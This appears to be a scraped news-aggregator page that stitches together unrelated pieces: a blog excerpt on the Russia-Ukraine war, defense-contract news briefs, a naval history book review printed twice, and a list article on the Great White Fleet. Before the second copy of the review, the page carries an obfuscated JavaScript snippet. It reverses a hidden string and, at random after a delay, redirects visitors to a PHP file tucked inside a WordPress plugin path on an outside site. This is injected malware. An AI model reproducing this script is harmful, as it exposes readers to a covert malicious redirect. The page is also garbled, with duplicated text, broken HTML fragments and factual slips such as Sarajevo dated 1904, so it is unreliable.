to rearm. Weakened and distracted by a corrupt elite, the good parts of her nation could not get ready fast enough. After the first Russo-Ukraine war of 2014 she should have modeled the armed neutrality of Switzerland with a civilian populace trained and armed to the teeth. As we’ve discussed here before with the former Soviet republics and Warsaw Pact nations, every village needs a few ATGM militia teams trained to slow any advance through their patch of land. If Ukraine can, in whole or part, survive without vassalhood, perhaps they could get there. They can only get there if they build a nation people are willing to fight and die for. 6. Remember, the Russians hold the Presidency of the UN Security Council. The UN is a joke. OSCE is a joke. The EU is little more than a nest of rent-seeking, clock-watching grift-fest. NATO is, well, dysfunctional but better than nothing. Nations must take ownership of their own security. Yes, Taiwan and Japan I am talking to you. Study history. Be ready. 7. Is everyone clear what Russia is now? She has a small GDP and apocalyptic demographics, but she is taking what she has and is invading her neighbors, killing people, and taking land. If your nation, company, or neighbor is buying anything from them – they are paying for this military adventurism. If the press wants to do its job, start pulling that string. Well, that’s my quicklook this AM during my 10am coffee break – now I’ve got to get back to the paying gig. Pray for the Ukrainians. Pray that nothing stupid happens that makes this a wider war. Remember – weakness encourages aggression. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=m0XxdUqD3WY:FB8ffBcY9QY:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=m0XxdUqD3WY:FB8ffBcY9QY:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=m0XxdUqD3WY:FB8ffBcY9QY:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=m0XxdUqD3WY:FB8ffBcY9QY:F7zBnMyn0Lo View the full article

Americas FlightSafety International won a $32 million contract for the exercise of the KC-46 Aircrew Training System (ATS) Production Year 7 options. The contract modification is for the exercise of option contract line item numbers for additional weapon system trainers, boom operator trainers, fuselage trainer, pilot part task trainers, support equipment, McChord site activations, systems engineering and program management, summative evaluation and new refresher training scenarios. Work will take place in Oklahoma. Estimated completion date is January 7, 2024. Sikorsky won a $42.2 million deal for non-personal technical services in support of sustainment of the H-60 Black Hawk helicopter. Bids were solicited via the internet with one received. The US Army Contracting Command is the contracting activity. Estimated completion date is December 31, 2026. Middle East & Africa Israel Aerospace Industries (IAI) has delivered the first F-16 wing and vertical fin to Lockheed Martin, following the reopening of the F-16 wing assembly line at IAI. As a result of increased worldwide demand for the F-16 Block 70/72, IAI reopened the assembly lines that had been established in the 1980s to continue production of the F-16 aerostructures assembled at IAI. The F-16 wings and vertical fins will be shipped to the F-16 production and final assembly line in Greenville, South Carolina, USA. Europe The German ministry of Defense has contracted Thales to equip the former’s NH90 Multi Role Frigate Helicopter with FLASH SONICS dipping sonar and sonobuoy processing systems. The new configuration of the NH90 Multi Role Frigate Helicopter variant includes the latest processing technology which offers significant operational improvement. These helicopters will be the first to be equipped with the capability to process Thales new sonobuoy SonoFlash in addition to the FLASH world reference dipping sonar. The Serbian Ministry of Defense placed an order for two Airbus C295 aircraft. The contract was signed in Madrid in the presence of senior government members of the Republic of Serbia and Spain. This contract will be accompanied by a Government-to-Government supervision agreement between the Ministries of Defense of Spain and the Republic of Serbia, which aims to study the development of future defence programmes between both nations. Airbus is committed to maintain and foster its close collaboration with the Republic of Serbia, which already operates Airbus military solutions. Asia-Pacific Boeing has won a $103.7 million contract by the US Department of Defense as part of a foreign military sale for eight AH-6 light attack reconnaissance helicopters to Thailand. The contract also includes spares, training devices, support equipment, and technical publications for the Royal Thai Army. Today’s Video WATCH: Thailand Orders AH-6 Light Attack Helicopters View the full article

Americas Collins Aerospace won a $48.4 million contract, which provides developmental design and risk reduction engineering efforts for airborne very low frequency systems modernization in support of Airborne Strategic Command, Control, and Communications Program Office program capability requirements. The risk reduction effort is to meet requirements for the very low frequency integration into a C-130 aircraft. Specifically, this contract provides non-recurring engineering effort to address size, weight, and power cooling in the components, systems, subsystems, or weapons replaceable assembly, model based systems engineering development, weight reduction analysis, cyber security risk assessment, and logistics analysis. Work will take place in Texas and Iowa. Estimated completion is in March 2024. The US Army has completed the deployment of 24 AH-64E V6 attack helicopters to South Korea. The 2nd Combat Aviation Brigade disclosed that the helicopters were all deployed to Camp Humphreys on February 16. Middle East & Africa The UAE Ministry of Defense will soon sign a contract with Chinese company CATIC for 12 L-15 aircraft, with an option to add 36 aircraft of the same model in the future. “We have reached the final stages of negotiations with the Chinese side, and a final agreement will be concluded soon. He stressed that diversity is one of the characteristics of the UAE armed forces to obtain the best capabilities that fit their needs and achieve their strategic goals,” said Tariq Abdul Rahim Al Hosani, CEO of the Tawazun Economic Council. The US State Department agreed for a local company to construct a Kuwait Ministry of Defense (KMOD) Headquarters Complex for the Kuwaiti Government for an estimated cost of $1 billion. The Defense Security Cooperation Agency (DSCA) delivered the required certification notifying Congress of this possible sale. Europe Saab has launched 5G communication system for military and crisis operations at the UMEX 2022 exhibition in the UAE. The so called ‘DeployNet’ was locally developed by Saab in the UAE It provides scalable 5G/LTE wireless network offering high-capacity bandwidth for today’s missions that rely on a multitude of information sources, sensors and user interaction. The compact system can be deployed rapidly, enabling high-capacity bandwidth in geographically remote areas, or reinforcement of damaged or limited local networks. Asia-Pacific The US State Department of potential Foreign Military Sale (FMS) of large aircraft infrared countermeasures (LAIRCM) line replaceable units (LRUs) to Australia. The FMS has an estimated value of $122 million and includes associated equipment. The deal also includes LAIRCM control indicator unit replacements (CIURs), advanced threat warning (ATW) missile sensors, smart card assemblies (SCAs), high-capacity cards/user data memory cards (HCCs/UDMs) and simple key loaders. Today’s Video WATCH: Many Things You Probably Didn’t Know About C-130 Hercules View the full article

Reviewed by Charles C. Kolb, Ph.D. This new title from the Naval Institute Press’s series, Studies in Naval History and Sea Power, is written by Christopher Buckley, son of Captain David Buckey (USN Retired) and an undergraduate history major from the University of California Santa Cruz, who obtained his doctorate at the University of Salford (UK) in 2013. Genesis of the Grand Fleet, in part, derives from his thesis, Forging the Shaft of the Spear of Victory: The Creation and Evolution of the Home Fleet in the Prewar Era, 1900-1914. Professor Eric John Grove (1948-2021), a distinguished, inspirational, and highly respected naval historian, author, lecturer and television expert who passed away on 15 April 2021, was Buckey’s academic advisor at Salford; Buckey acknowledges his doctoral mentor in the book (p. xi) and in a separate published tribute: xray-mag.com/content/eric-grove. Buckey’s account spans the period from 1897 through 1914, drawing upon 22 recent interviews as well as previous scholarship, and his own research in 13 British and American archives, plus periodicals, annuals, and theses. Among his sources are the National Archives and Records Administration in the United States, the Churchill Archive Centre, Liddell Hart Centre, Cairo Library, National Maritime Library, and British National Archives, Kew. The volume consists of a brief “Introduction,” nine chapters, a list of 35 “Abbreviations,” 1,870 scholarly “Notes,” a “Bibliography” (57 periodicals, 254 books, 159 articles, and 25 other references), and a comprehensive “Index.” A group of 30 monochrome “Illustrations” (14 from the American Library of Congress’ collections) depicting eight ships or fleets and 22 individuals, is inserted between pp. 180-181. In the “Introduction” he comments on several previous books written about the naval history of this period, noting that these are generally regarded as outdated, lack data, and/or are incomplete by most late 20th and early 21st century historians – particularly revisionists Nicholas Lambert and Brian Ruddock. The era Buckley reviews, 1897-1914, was one of rapid, dynamic change for the Royal Navy. By 1914, the formidable Grand Fleet consisted of 45 dreadnaughts, 40 cruisers, and five aircraft carriers. Buckley writes that the “Royal Navy was a jailer keeping the German fleet confined but never entering its cell” (p 2)! The initial chapter, “From Review to Reform, 1897-1905,” begins with the Diamond Jubilee Naval Review at Spithead in June 1897 focusing on the command structure of the Royal Navy: The Home Squadron, which became the Home Fleet; the Channel Fleet which was designated as the Atlantic Fleet, and the Cruiser Squadron transformed into the Mediterranean Fleet. The Eastern Fleet included four components: the China Fleet, Australian Squadron, East Indian Squadron, and Cape of Good Hope Squadron; in addition, there was also a West Atlantic cruiser force of eight vessels and a Pacific Squadron of three cruisers. The British Admiralty had been inspired by American Captain Alfred Thayer Mahan’s The Influence of Sea Power upon History (1890) and developed three new warship types: torpedo boat destroyer, armored cruiser, and submarines. An increase in the naval budget after 1909 and a greater standardization of ship construction components were significant factors in the Royal Navy’s successes during the First World War. Germany had become Britain’s primary naval threat, with the Kaiserliche Marine rising to that position and the Russian Fleet falling due to its losses in the 1905 Russo-Japanese battle at Tsushima. The Mediterranean Fleet remained a focus of British strength, with capital ships withdrawn from the China Station to reinforce Gibraltar and Malta. The new Liberal government reduced the naval budgets from 1906 to 1908, but a subsequent government change in 1909 reversed the cuts. Britain began preparing for war beginning in 1901, but no permanent Admiralty body was specifically responsible for war planning until the Admiralty War Staff was tasked in 1911. The Naval Intelligence Department had previously carried on this duty, 1888-1911, along with its other charges. Buckey details the personalities of individuals, both military and political, responsible for war planning and the politics of this era showing how the Ballard Committee and Fremantle Committee, among others, devised plan after plan and how Sir John Fisher adjudged that war planning demanded a permanent committee with himself as committee president. The author also details the War Plan of 1908, with W.1 and W.2 variations, mentioning the U.S. Navy’s War Plan Orange, and W.3 with two parts designed to destroy the German fleet and not to conduct commercial warfare. Herein, there was a role for British submarines and the deployment of British Army troops against Germany. In Operation Unthinkable, contingency plans created in May 1908, the British were concerned about a potential Japanese-American War, even as the American Great White Fleet visited Australia, and an Anglo-Japanese alliance was considered. Plans W.4, W.5, and W.6 were devised as variants; W.5 involved American participation. Plan G.U. was a German-American combination versus the Royal Navy. Chapter 4 “Politics 1907-1908” characterizes the British government’s “erratic behavior” and documents the Admiralty staff and seagoing commanders as openly hostile to each other. The October 1907 naval fleet maneuvers (war games) involved three combined fleets: Atlantic, Home, and Channel. Battleship and armored cruiser designs for the post-Dreadnaught era were rejected on the basis of cost and types and sizes of armaments. The 1908 Maneuvers (Red vs. Blue Fleets) also showed that the Board of the Admiralty had become too divided and Sir John Fisher would be eventually ousted in 1909. Meanwhile, there was substantial construction activity in German shipyards, so much that the Cabinet, Admiralty, and Winston Churchill and David Lloyd George sought to resolve British budgetary and shipbuilding issues. With King Edward’s passing, Sir Arthur Wilson’s tenure as First Sea Lord ended, and Churchill moved from the Home Office to the Admiralty to “rein in” spending and create a real naval staff. Thus, began the Winston Churchill-Rear Admiral Francis Bridgeman Admiralty of 1911-1912. Buckley deftly traces the complex political and naval strategies of John Jellicoe’s rise to power, personality conflicts, and economic issues, with goals of reducing the expensive upkeep of an obsolescent fleet, scrapping old ships, building new ships with heavier guns, and restructuring the Home Fleet. Churchill, an advocate of more torpedo craft, was somewhat successful as German naval actions and fleet increases made further reorganization of the Home Fleet essential. Planning for construction of the battleship Queen Elizabeth, the strategy to induce Canada to contribute money and ships, and the 1912 Maneuvers are reviewed. A new strategy was devised: abandon the concept of a blockade of Germany and institute distant patrols to protect the British coast with torpedo boat destroyers. Chapter 7: The Serene Sea Lord,” documents the 1911-1913 period when Prince Louis of Battenberg worked well with Churchill in terms of developing the Grand Fleet’s composition, deployment, and fleet tactics. The prewar structure included four battle squadrons, five cruiser squadrons, four destroyer flotillas, one submarine flotilla, and two semiautonomous cruiser squadrons. Deployments were based on the Kerr Plan for the North Sea with area patrols abandoned in favor of a “flotillamens’ park” and, in the Admiralty view, “a bridge too far. There were problems with the systems for range-finding and plotting, and theoretical and practical advantages and disadvantages to be addressed; the latter including decentralization; the lack of practice in tactical maneuvers; the construction of a new naval base at Rosyth and the expansion of the existing base at Scapa Flow in the Hebrides; and the development of superior German radio-direction finding apparatus. Admiral Callaghan was replaced by Jellicoe, who placed greater trust in his subordinates. Buckey concludes that by the date of the 1914 Maneuvers, there was lack of an acceptable, comprehensive, authoritative tactical doctrine. In the “Last Months of Peace, 1913-1914,” political issues centered on naval costs, a diversity of political parties and, therefore, the Cabinet. In addition, there was a manpower crisis – shortfalls in recruiting both officers and enlisted men to man the new and planned ships, especially for submarines and light cruisers, while Rear Admiral Beatty revised battle cruiser duties in 1913, and Callaghan and Jellicoe prepared five viable opening gambits against Germany at the beginning of hostilities. The assassination in Sarajevo on June 29, 1904 caused surprise and confusion in the Admiralty and affected the movement of the Home Fleet to Scapa Flow. By June, four battle squadrons were unified under a single command and the Home Fleet was able to adjust to political situations because of a multi-tiered process even in face of bureaucratic oversight. Lastly, Buckey reviews the changes in Royal Navy and Admiralty goals since 1906, including the abolition of the Channel Fleet and the blockade strategy, the removal of Lord Beresford, the dominance of Churchill over Bridgeman, the rise of Louis of Battenberg, the revision of tactics and command structure, and the significance of the torpedo over heavy guns. Buckey’s Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 is a new, valuable assessment of the political status of Britain and the state of the Royal Navy just prior to the First World War. Thoroughly researched archival and naval sources with scholarly documentation take the reader through a highly complex era of political and naval intrigue to demonstrate how the Royal Navy prepared Britain to face a war at sea against the rapidly developing Kaiserliche Marine. Buckey’s account is balanced, detailed, and well-written, and should be preferred by general readers, scholars, and historians. A few words about similar works and unexamined contexts; Buckey has examined many of these and cites several of them in his book. The early “standard” works on British preparations and conduct of the First World War generally lacked detail or have been chastised as “incomplete” by more recent authors. Jellico of Scapa, Admiral the Viscount’s The Grand Fleet (London: Cassel, 1919) is seen as a self-serving account challenging other British naval staff and the Admiralty, while Arthur J. Marder’s monumental five-volume account From the Dreadnaught to Scapa Flow: The Royal Navy in the Fisher Era, 1904-1919, Oxford: Oxford University Press (1961-1969; Annapolis: Naval Institute Press, revised ed. edition 2014) has been questioned as incomplete and savaged by some revisionist historians. David K. Brown’s The Grand Fleet Warship Design and Development (Annapolis: Naval Institute Press, 1999) focuses on the ships’ structure and “anatomy” in ways Buckey does not. Roger Parkinson’s The Late Victorian Navy: The Pre-Dreadnought Era and the Origins of the First World War (Woodbridge: Boydell, 2008; reprinted Cambridge: Cambridge University Press, 2013) is a more recent evaluation of the origins of the war. Shawn T. Grimes’ Strategy and War Planning in the British Navy, 1887-1918 (Cambridge: Cambridge University Press, 2012) provides a thoughtful, detailed assessment of more than three decades of planning and actions undertaken. Matthew S. Seligmann, in The Royal Navy and the German Threat, 1901-1914: Admiralty Plans to Protect British Trade in a War Against Germany (Oxford; Oxford University Press, 2012), focuses on economic issues and plans to deter the German “menace,” as does Nicholas A. Lambert’s Planning Armageddon: British Economic Warfare and the First World War (Cambridge, MA: Harvard University Press, 2012). The Admiralty and British politics are reviewed by Nicholas A. Lambert, author of Sir John Fisher’s Naval Revolution (Columbia: University of South Carolina Press, 2003) who provides an account of some of political activities and interactions as does the more recent Matthew S. Seligmann and David G. Morgan-Owen’s volume, New Interpretations of the Royal Navy in the “Fisher Era” (London: Routledge/Taylor & Francis, 2015). Little has been written in English about the naval planning by Germany. A notable but dated source is Sir E. L. Woodward’s Great Britain and the German Navy (Oxford: The Clarendon Press, 1935). Herwig Holger’s “Luxury” Fleet: The Imperial German Navy, 1888-1918 (London: Routledge, 2016), Jan Rüger’s Heligoland: Britain, Germany and the Struggle for the North Sea (Oxford: Oxford University Press, 2019), and Matthew S. Seligmann, Frank Nägler, and Michael Epkenhans’ collaborative The Naval Route to the Abyss: The Anglo-German Naval Race 1895-1914 (London: Routledge, 2019) address a variety of issues regarding naval planning. David Morgan Owen’s The Fear of Invasion: Strategy, Politics, and British War Planning, 1880-1914 (Oxford: Oxford University Press, 2017) also contributes to our understanding. A recent book by Matthew S. Seligmann, Naval Intelligence from Germany: The Reports of the British Naval Attachés in Berlin, 1906-1914 (London: Routledge, 2020) explores a neglected but significant source. From Buckey’s book title, one might construe that there would be more information about German naval planning, but this is no drawback to a splendid, readable, scholarly research. Dr. Kolb is a USNI Golden Life Member. Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 (Christopher M. Buckey, Naval Institute Press, Annapolis, MD, 2021). The post Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 first appeared on Naval Historical Foundation. View the full article

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.org/wp-content/uploads/2022/02/41FAi4BTMHL._SX331_BO1204203200_.jpg” alt=”” class=”wp-image-25160″ width=”250″ height=”374″/> Reviewed by Charles C. Kolb, Ph.D. This new title from the Naval Institute Press’s series, Studies in Naval History and Sea Power, is written by Christopher Buckley, son of Captain David Buckey (USN Retired) and an undergraduate history major from the University of California Santa Cruz, who obtained his doctorate at the University of Salford (UK) in 2013. Genesis of the Grand Fleet, in part, derives from his thesis, Forging the Shaft of the Spear of Victory: The Creation and Evolution of the Home Fleet in the Prewar Era, 1900-1914. Professor Eric John Grove (1948-2021), a distinguished, inspirational, and highly respected naval historian, author, lecturer and television expert who passed away on 15 April 2021, was Buckey’s academic advisor at Salford; Buckey acknowledges his doctoral mentor in the book (p. xi) and in a separate published tribute: xray-mag.com/content/eric-grove. Buckey’s account spans the period from 1897 through 1914, drawing upon 22 recent interviews as well as previous scholarship, and his own research in 13 British and American archives, plus periodicals, annuals, and theses. Among his sources are the National Archives and Records Administration in the United States, the Churchill Archive Centre, Liddell Hart Centre, Cairo Library, National Maritime Library, and British National Archives, Kew. The volume consists of a brief “Introduction,” nine chapters, a list of 35 “Abbreviations,” 1,870 scholarly “Notes,” a “Bibliography” (57 periodicals, 254 books, 159 articles, and 25 other references), and a comprehensive “Index.” A group of 30 monochrome “Illustrations” (14 from the American Library of Congress’ collections) depicting eight ships or fleets and 22 individuals, is inserted between pp. 180-181. In the “Introduction” he comments on several previous books written about the naval history of this period, noting that these are generally regarded as outdated, lack data, and/or are incomplete by most late 20th and early 21st century historians – particularly revisionists Nicholas Lambert and Brian Ruddock. The era Buckley reviews, 1897-1914, was one of rapid, dynamic change for the Royal Navy. By 1914, the formidable Grand Fleet consisted of 45 dreadnaughts, 40 cruisers, and five aircraft carriers. Buckley writes that the “Royal Navy was a jailer keeping the German fleet confined but never entering its cell” (p 2)! The initial chapter, “From Review to Reform, 1897-1905,” begins with the Diamond Jubilee Naval Review at Spithead in June 1897 focusing on the command structure of the Royal Navy: The Home Squadron, which became the Home Fleet; the Channel Fleet which was designated as the Atlantic Fleet, and the Cruiser Squadron transformed into the Mediterranean Fleet. The Eastern Fleet included four components: the China Fleet, Australian Squadron, East Indian Squadron, and Cape of Good Hope Squadron; in addition, there was also a West Atlantic cruiser force of eight vessels and a Pacific Squadron of three cruisers. The British Admiralty had been inspired by American Captain Alfred Thayer Mahan’s The Influence of Sea Power upon History (1890) and developed three new warship types: torpedo boat destroyer, armored cruiser, and submarines. An increase in the naval budget after 1909 and a greater standardization of ship construction components were significant factors in the Royal Navy’s successes during the First World War. Germany had become Britain’s primary naval threat, with the Kaiserliche Marine rising to that position and the Russian Fleet falling due to its losses in the 1905 Russo-Japanese battle at Tsushima. The Mediterranean Fleet remained a focus of British strength, with capital ships withdrawn from the China Station to reinforce Gibraltar and Malta. The new Liberal government reduced the naval budgets from 1906 to 1908, but a subsequent government change in 1909 reversed the cuts. Britain began preparing for war beginning in 1901, but no permanent Admiralty body was specifically responsible for war planning until the Admiralty War Staff was tasked in 1911. The Naval Intelligence Department had previously carried on this duty, 1888-1911, along with its other charges. Buckey details the personalities of individuals, both military and political, responsible for war planning and the politics of this era showing how the Ballard Committee and Fremantle Committee, among others, devised plan after plan and how Sir John Fisher adjudged that war planning demanded a permanent committee with himself as committee president. The author also details the War Plan of 1908, with W.1 and W.2 variations, mentioning the U.S. Navy’s War Plan Orange, and W.3 with two parts designed to destroy the German fleet and not to conduct commercial warfare. Herein, there was a role for British submarines and the deployment of British Army troops against Germany. In Operation Unthinkable, contingency plans created in May 1908, the British were concerned about a potential Japanese-American War, even as the American Great White Fleet visited Australia, and an Anglo-Japanese alliance was considered. Plans W.4, W.5, and W.6 were devised as variants; W.5 involved American participation. Plan G.U. was a German-American combination versus the Royal Navy. Chapter 4 “Politics 1907-1908” characterizes the British government’s “erratic behavior” and documents the Admiralty staff and seagoing commanders as openly hostile to each other. The October 1907 naval fleet maneuvers (war games) involved three combined fleets: Atlantic, Home, and Channel. Battleship and armored cruiser designs for the post-Dreadnaught era were rejected on the basis of cost and types and sizes of armaments. The 1908 Maneuvers (Red vs. Blue Fleets) also showed that the Board of the Admiralty had become too divided and Sir John Fisher would be eventually ousted in 1909. Meanwhile, there was substantial construction activity in German shipyards, so much that the Cabinet, Admiralty, and Winston Churchill and David Lloyd George sought to resolve British budgetary and shipbuilding issues. With King Edward’s passing, Sir Arthur Wilson’s tenure as First Sea Lord ended, and Churchill moved from the Home Office to the Admiralty to “rein in” spending and create a real naval staff. Thus, began the Winston Churchill-Rear Admiral Francis Bridgeman Admiralty of 1911-1912. Buckley deftly traces the complex political and naval strategies of John Jellicoe’s rise to power, personality conflicts, and economic issues, with goals of reducing the expensive upkeep of an obsolescent fleet, scrapping old ships, building new ships with heavier guns, and restructuring the Home Fleet. Churchill, an advocate of more torpedo craft, was somewhat successful as German naval actions and fleet increases made further reorganization of the Home Fleet essential. Planning for construction of the battleship Queen Elizabeth, the strategy to induce Canada to contribute money and ships, and the 1912 Maneuvers are reviewed. A new strategy was devised: abandon the concept of a blockade of Germany and institute distant patrols to protect the British coast with torpedo boat destroyers. Chapter 7: The Serene Sea Lord,” documents the 1911-1913 period when Prince Louis of Battenberg worked well with Churchill in terms of developing the Grand Fleet’s composition, deployment, and fleet tactics. The prewar structure included four battle squadrons, five cruiser squadrons, four destroyer flotillas, one submarine flotilla, and two semiautonomous cruiser squadrons. Deployments were based on the Kerr Plan for the North Sea with area patrols abandoned in favor of a “flotillamens’ park” and, in the Admiralty view, “a bridge too far. There were problems with the systems for range-finding and plotting, and theoretical and practical advantages and disadvantages to be addressed; the latter including decentralization; the lack of practice in tactical maneuvers; the construction of a new naval base at Rosyth and the expansion of the existing base at Scapa Flow in the Hebrides; and the development of superior German radio-direction finding apparatus. Admiral Callaghan was replaced by Jellicoe, who placed greater trust in his subordinates. Buckey concludes that by the date of the 1914 Maneuvers, there was lack of an acceptable, comprehensive, authoritative tactical doctrine. In the “Last Months of Peace, 1913-1914,” political issues centered on naval costs, a diversity of political parties and, therefore, the Cabinet. In addition, there was a manpower crisis – shortfalls in recruiting both officers and enlisted men to man the new and planned ships, especially for submarines and light cruisers, while Rear Admiral Beatty revised battle cruiser duties in 1913, and Callaghan and Jellicoe prepared five viable opening gambits against Germany at the beginning of hostilities. The assassination in Sarajevo on June 29, 1904 caused surprise and confusion in the Admiralty and affected the movement of the Home Fleet to Scapa Flow. By June, four battle squadrons were unified under a single command and the Home Fleet was able to adjust to political situations because of a multi-tiered process even in face of bureaucratic oversight. Lastly, Buckey reviews the changes in Royal Navy and Admiralty goals since 1906, including the abolition of the Channel Fleet and the blockade strategy, the removal of Lord Beresford, the dominance of Churchill over Bridgeman, the rise of Louis of Battenberg, the revision of tactics and command structure, and the significance of the torpedo over heavy guns. Buckey’s Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 is a new, valuable assessment of the political status of Britain and the state of the Royal Navy just prior to the First World War. Thoroughly researched archival and naval sources with scholarly documentation take the reader through a highly complex era of political and naval intrigue to demonstrate how the Royal Navy prepared Britain to face a war at sea against the rapidly developing Kaiserliche Marine. Buckey’s account is balanced, detailed, and well-written, and should be preferred by general readers, scholars, and historians. A few words about similar works and unexamined contexts; Buckey has examined many of these and cites several of them in his book. The early “standard” works on British preparations and conduct of the First World War generally lacked detail or have been chastised as “incomplete” by more recent authors. Jellico of Scapa, Admiral the Viscount’s The Grand Fleet (London: Cassel, 1919) is seen as a self-serving account challenging other British naval staff and the Admiralty, while Arthur J. Marder’s monumental five-volume account From the Dreadnaught to Scapa Flow: The Royal Navy in the Fisher Era, 1904-1919, Oxford: Oxford University Press (1961-1969; Annapolis: Naval Institute Press, revised ed. edition 2014) has been questioned as incomplete and savaged by some revisionist historians. David K. Brown’s The Grand Fleet Warship Design and Development (Annapolis: Naval Institute Press, 1999) focuses on the ships’ structure and “anatomy” in ways Buckey does not. Roger Parkinson’s The Late Victorian Navy: The Pre-Dreadnought Era and the Origins of the First World War (Woodbridge: Boydell, 2008; reprinted Cambridge: Cambridge University Press, 2013) is a more recent evaluation of the origins of the war. Shawn T. Grimes’ Strategy and War Planning in the British Navy, 1887-1918 (Cambridge: Cambridge University Press, 2012) provides a thoughtful, detailed assessment of more than three decades of planning and actions undertaken. Matthew S. Seligmann, in The Royal Navy and the German Threat, 1901-1914: Admiralty Plans to Protect British Trade in a War Against Germany (Oxford; Oxford University Press, 2012), focuses on economic issues and plans to deter the German “menace,” as does Nicholas A. Lambert’s Planning Armageddon: British Economic Warfare and the First World War (Cambridge, MA: Harvard University Press, 2012). The Admiralty and British politics are reviewed by Nicholas A. Lambert, author of Sir John Fisher’s Naval Revolution (Columbia: University of South Carolina Press, 2003) who provides an account of some of political activities and interactions as does the more recent Matthew S. Seligmann and David G. Morgan-Owen’s volume, New Interpretations of the Royal Navy in the “Fisher Era” (London: Routledge/Taylor & Francis, 2015). Little has been written in English about the naval planning by Germany. A notable but dated source is Sir E. L. Woodward’s Great Britain and the German Navy (Oxford: The Clarendon Press, 1935). Herwig Holger’s “Luxury” Fleet: The Imperial German Navy, 1888-1918 (London: Routledge, 2016), Jan Rüger’s Heligoland: Britain, Germany and the Struggle for the North Sea (Oxford: Oxford University Press, 2019), and Matthew S. Seligmann, Frank Nägler, and Michael Epkenhans’ collaborative The Naval Route to the Abyss: The Anglo-German Naval Race 1895-1914 (London: Routledge, 2019) address a variety of issues regarding naval planning. David Morgan Owen’s The Fear of Invasion: Strategy, Politics, and British War Planning, 1880-1914 (Oxford: Oxford University Press, 2017) also contributes to our understanding. A recent book by Matthew S. Seligmann, Naval Intelligence from Germany: The Reports of the British Naval Attachés in Berlin, 1906-1914 (London: Routledge, 2020) explores a neglected but significant source. From Buckey’s book title, one might construe that there would be more information about German naval planning, but this is no drawback to a splendid, readable, scholarly research. tor --> Dr. Kolb is a USNI Golden Life Member. Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 (Christopher M. Buckey, Naval Institute Press, Annapolis, MD, 2021). Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 first appeared on Naval Historical Foundation.View the full article

Welcoming the U.S. Atlantic Fleet to Sydney, Australia, August 1908. Artwork by Norman Carter, published in The Sydney Mail, Wednesday, 19 August, 1908. Courtesy of John C. Reilly, Jr.. U.S. Naval History and Heritage Command Photograph. The cruise of the Great White Fleet took the U.S. Navy around the globe in fourteen months on a journey totaling 43,000 miles. They visited twenty unique port calls across six continents. It was a monumental “show of flag” for the burgeoning world power. The fleet showcased the naval and maritime capabilities of its new “Steel Navy” to nations around the world. Here are ten interesting facts about the historic around-the-world cruise. 1. The Great White Fleet was Actually Two Squadrons Approximately 14,500 officers and men sailed with the fleet for its around-the-world voyage. The sixteen white ships comprising the fleet were divided into two squadrons, including several smaller escort ships that joined the voyage along the way. In San Francisco, the squadrons were reorganized to include the best and newest ships into the First Squadron. 2. The Great White Fleet was Excellent PR for the U.S. Navy From the birth of the Steel Navy in the 1880s to the end of the voyage of the Great White Fleet, the Navy increased the strength of its enlisted force by 523% or 44,500 men. This was a huge opportunity for the Navy to show its new fleet of ships, and most importantly, its new sailors. 3. The Original Commander Was Replaced Due to Ill Health RADM Robley D. Evans When the Fleet departed Hampton Roads on 16 December 1907, RADM Robley Evans, better known as “Fighting Bob,” took command of the voyage. By the time the Great White Fleet reached San Francisco several months later, however, he was relieved of command due to ill health and replaced by RADM Charles S. Sperry. The illness was caused by an ailment to one foot after a terrible wound he received at the Second Battle of Fort Fisher in 1865. According to one article in the New York Times, Evans was helped into a San Francisco banquet hall with a wheelchair to say farewell to the officers of his command. He retired from the Navy on 18 August 1908, and died in Washington, DC, on 3 January 1912. 4. It Sparked Similar Circumnavigational Voyages There were two similar circumnavigational voyages by naval squadrons in the twentieth century. Between 1923 and 1924, Royal Navy battlecruisers HMS Hood, HMS Repose, and the Special Service Squadron sailed around the world on “The Empire Cruise.” Throughout the voyage, they made stops at ports of call in counties that had fought alongside each other in the First World War. The Squadron made a U.S. stop in San Francisco. The U.S. Navy steamed 30,565 miles around the world without refueling in 1964 during Operation Sea Orbit. The cruise was the showpiece of the Navy’s Task Force One, consisting of nuclear vessels USS Enterprise (CVAN 65), USS Long Beach (CGN 9), and USS Bainbridge (DLGN 25). 5. The Great White Fleet Answered to a Humanitarian Crisis This is one of the first times in the U.S. Navy’s history that sailors responded to humanitarian missions abroad. When the Fleet visited Egypt, they dispatched several ships to provide aid to Sicily after a devastating earthquake rocked the tiny island in 1908. The Illinois crew recovered the bodies of the American consul, Arthur S. Cheney, and his wife, from the ruins in Messina. 6. The Navy Received Several Exotic Animals Bear cub presented to the ship by the Citizens of Seattle, Washington, when Missouri visited that city in 1908 during the Great White Fleet’s cruise around the World. U.S. Naval History and Heritage Command Photograph. Along the way, the Fleet received several animals as gifts from ports they visited, such as a wallaby from Sydney, Australia, a bear cub from Seattle, Washington, and a jaguar from Brazil. The jaguar actually jumped ship while going through the Straits of Magellan, but successfully swam to shore. 7. Japan Gave the Fleet a Warm (and Surprising) Welcome When the fleet visited arguably its most important stop in Japan, they were surprised to see the city of Yokohama adorned with American flags. They were also surprised to see the welcome reception that many of the sailors had feared throughout the voyage, as Japan had grown from a tiny island to a growing imperial empire by the turn of the century. The Japanese had made flags with a 46th state, incorporating Oklahoma, which had entered the Union in November 1907 just before the cruise began. Ensigns on the Great White Fleet only had 45 stars. Talk about attention to detail! 8. The Fleet Improved Relations Overall, the Great White Fleet helped either establish or improve our relations with foreign countries around the globe. The biggest 